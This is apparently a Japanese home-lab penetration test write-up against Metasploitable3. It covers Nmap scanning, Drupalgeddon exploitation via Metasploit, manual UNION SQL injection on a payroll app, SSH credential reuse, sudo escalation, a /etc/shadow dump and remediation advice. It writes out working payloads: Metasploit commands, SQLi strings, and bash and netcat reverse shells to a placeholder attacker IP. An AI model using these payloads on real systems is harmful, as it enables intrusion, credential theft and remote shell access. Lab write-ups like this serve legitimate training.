
Metasploitable3のホームラボペネトレーションテストレポート。Nmap偵察、Drupalgeddon RCE、SQLインジェクション、SSH認証情報の再利用、sudo権限昇格、リバースシェルを網羅。
著者: Arlen Fortunato
日付: 2026年9月
環境: Parrot OS (攻撃側) → Metasploitable3 Ubuntu 14.04 (ターゲット)
スコープ: フルネットワークペネトレーションテスト — 列挙、エクスプロイト、権限昇格、ポストエクスプロイト
種別: ホームラボ / Capture The Flag 練習
⚠️ 以下の認証情報はすべて伏せ字です。これは合法的な、隔離されたホームラボ演習でした。
| ツール | 役割 |
|---|---|
| Nmap | ポートスキャン、サービス/バージョン検出、OSフィンガープリント |
| Metasploit (msfconsole) | エクスプロイト (CVE-2014-3704)、セッション管理 |
| msfvenom | ペイロード生成 (bash/netcat リバースシェル) |
| nc (netcat) | リバースシェルリスナー |
| curl / sed | 手動SQLi作成 + HTML出力整形 |
| ssh / scp | リモートアクセス、認証情報検証 |
| openssl s_client | TLS/SSLサービス検証 |
| gobuster | ディレクトリブルートフォース (Web列挙) |
nmap -O -sV -p- -oA metasploitable3 <TARGET_IP>
OS: Linux Ubuntu 14.04, Kernel 3.13.0-24-generic x86_64
脆弱性: UnrealIRCd 3.2.8.1 は歴史的に、未認証のクライアントが登録前にトリガー文字列を送信すると任意のコマンドを実行するトロイの木馬化されたバイナリと共に配布されていました — IRCデーモンユーザーとしてのRCEです。
エクスプロイト試行: Metasploitモジュール exploit/unix/irc/unreal_ircd_3281_backdoor をペイロード cmd/unix/reverse_perl、cmd/unix/reverse_netcat、cmd/unix/reverse_bash で使用。モジュールの自動チェックはサービスを脆弱と報告しましたが、どのペイロードでもセッションは返りませんでした。
実施したトラブルシューティング:
nc -vz)openssl s_client)nc 経由の手動バックドアトリガーはIRCプロトコルエラー 451 を返した — コマンドはIRCコマンドとして解析され、実行されることはなかった結論: バージョンバナーは脆弱なビルドを示しているが、このインスタンスにはバックドアが存在しない (クリーン/再コンパイルされたバイナリ)。証拠と共にエクスプロイト不可 — 誤検知と分類。
脆弱性: Drupal 7.x の 7.32 より前には、データベース抽象化レイヤーに重大なSQLインジェクションが存在し、未認証のリモートコード実行を可能にします。
バージョン確認: CHANGELOG.txt → "Drupal 7.5, 2011-07-27"
エクスプロイト:
msfconsole
use exploit/multi/http/drupal_drupageddon
set RHOSTS <TARGET_IP>
set TARGETURI /drupal/
set LHOST <ATTACKER_IP>
set payload php/meterpreter_reverse_tcp
run
結果:
getuid → www-data
sysinfo → Linux ubuntu 3.13.0-24-generic x86_64
pwd → /var/www/html/drupal
ポストエクスプロイト列挙:
/var/www/html: chat/、drupal/、payroll_app.php、phpmyadmin//home: 16ユーザーアカウント脆弱性: payroll_app.php ログインフォーム、パスワードフィールドのSQLインジェクション。自動化ツールは未使用 — curl で作成。
ステップ1 — 認証バイパス:
' or 1=1#
' はSQL文字列を閉じ、or 1=1 は真を強制し、# は末尾のクォートをコメントアウトします。
ステップ2 — カラム数 + 表示マッピング:
' UNION SELECT null, null, null, null# -- no error = 4 columns
' UNION SELECT 1, 2, 3, 4# -- markers: 1=Username, 2=First, 3=Last, 4=Salary
ステップ3 — information_schema 列挙:
| 質問 | 回答 |
|---|---|
| DBバージョン / ユーザー | MySQL 5.5.62, root@localhost |
| データベース |
ステップ4 — ダンプ (パスワードは伏せ字):
' UNION SELECT username, password, salary, null FROM users#
経路1 — デフォルトアカウント: デフォルトの vagrant 認証情報ペアがSSH経由で認証成功 → sudo グループのユーザーで (ALL : ALL) NOPASSWD: ALL。
経路2 — 認証情報の使い回し: SQLiダンプから収集した認証情報が、別のラボユーザー (luke_skywalker、sudo グループ、(ALL : ALL) ALL) としてSSH経由で直接認証成功。
意義: サービス間の認証情報使い回しを実証 — アプリケーションの認証情報がシステムアカウントにマッピングされた。
vagrant → sudo -l が NOPASSWD: ALL を表示 → sudo su - → uid=0(root)。luke_skywalker → sudo (ALL : ALL) ALL → sudo su - → uid=0(root)。ローカルエクスプロイトは不要 — 両アカウントが過度に許可的なsudo権限を保持していた。
sudo cat /etc/shadow
16個の md5crypt ($1$) ハッシュを抽出 — 権限昇格後の完全な認証情報収集。
ペイロード1 — bash:
bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1
nc -lnvp 4444 で捕捉 → 対話型シェル。
ペイロード2 — netcat (名前付きパイプ):
mkfifo /tmp/fifo; nc <ATTACKER_IP> 4445 0</tmp/fifo | /bin/sh >/tmp/fifo 2>&1; rm /tmp/fifo
nc -lnvp 4445 で捕捉 → 対話型シェル。
仕組み: 名前付きパイプ (FIFO) が netcat の stdin/stdout を /bin/sh にブリッジし、単一ソケットの双方向トンネルを形成。FIFOはその後クリーンアップされる。
すべてのテストは、意図的に脆弱なソフトウェア (Rapid7 Metasploitable3) を使用した隔離されたホームラボでのみ実施されました。本番システムや未承認のターゲットには一切関与していません。このレポートは教育目的および個人のスキル開発のみを目的としています。
| ポート | 状態 | サービス | バージョン |
|---|
| 21/tcp | open | FTP | ProFTPD 1.3.5 |
| 22/tcp | open | SSH | OpenSSH 6.6.1p1 |
| 80/tcp | open | HTTP | Apache httpd 2.4.7 (Ubuntu) |
| 445/tcp | open | SMB | Samba smbd 3.X–4.X |
| 631/tcp | open | IPP | CUPS 1.7 |
| 3306/tcp | open | MySQL | MySQL (unauthorized) |
| 3500/tcp | open | HTTP | WEBrick httpd 1.3.1 (Ruby 2.3.8) |
| 6697/tcp | open | IRC | UnrealIRCd |
| 8080/tcp | open | HTTP | Jetty 8.1.7.v20120910 |
| # | 脆弱性 | CVE / 種別 | ポート | 深刻度 | 結果 |
|---|
| 1 | UnrealIRCd バージョンフィンガープリント — バックドアプローブ | CVE-2010-2075 | 6697 | ⚠️ 誤検知 | モジュール自動チェックは合格、手動プローブは失敗 — このビルドにバックドアは存在しない |
| 2 | Drupal 7.5 — Drupageddon RCE | CVE-2014-3704 | 80 | 🔴 重大 | www-data として Meterpreter シェル |
| 3 | 給与アプリ — UNION SQLi (手動) | 手動インジェクション | 80 | 🔴 重大 | 完全なDBダンプ (15ユーザー、平文パスワード — 伏せ字) |
| 4 | SSH — デフォルト + 使い回し認証情報 | デフォルト / 認証情報使い回し | 22 | 🔴 重大 | vagrant (NOPASSWD sudo)、luke_skywalker (sudo ALL) |
| 5 | 権限昇格 (2つの経路) | 設定不備の sudo | N/A | 🔴 重大 | 両アカウント経由で root |
| 6 | Shadow ダンプ | ポストエクスプロイト | N/A | 🔴 重大 | 16個の md5crypt ハッシュを抽出 |
| 7 | リバースシェル (bash + netcat) | msfvenom / 手動作成 | 4444/4445 | 🟠 高 | 攻撃側リスナーで対話型シェルを捕捉 |
| information_schema, drupal, mysql, payroll, performance_schema |
payroll 内のテーブル | users |
users 内のカラム | username, first_name, last_name, password, salary |
| ユーザー名 | パスワード | 給与 |
|---|
| leia_organa | [REDACTED] | 9560 |
| luke_skywalker | [REDACTED] | 1080 |
| han_solo | [REDACTED] | 1200 |
| artoo_detoo | [REDACTED] | 22222 |
| boba_fett | [REDACTED] | 20000 |
| greedo | [REDACTED] | 50000 |
| (+ 他9アカウント) | [REDACTED] | — |
| 検出事項 | 推奨事項 |
|---|
| UnrealIRCd バージョンフィンガープリント | バイナリソースの完全性を検証 (チェックサム)。アップグレードまたは削除 |
| Drupal 7.5 | 最新の安定版にアップグレード。SA-CORE-2014-005 を適用 |
| 給与SQLi | パラメータ化クエリ / プリペアドステートメント。入力を検証 |
| デフォルトSSH認証情報 | デフォルトアカウントをローテーション/削除。鍵ベース認証を強制 |
| Sudo過剰権限 | 最小権限を適用。NOPASSWDの包括的付与を削除 |
| 認証情報の使い回し | サービスごとに一意のパスワードを強制。パスワードポリシー |
| 弱いパスワードハッシュ | md5crypt → bcrypt / Argon2id に移行 |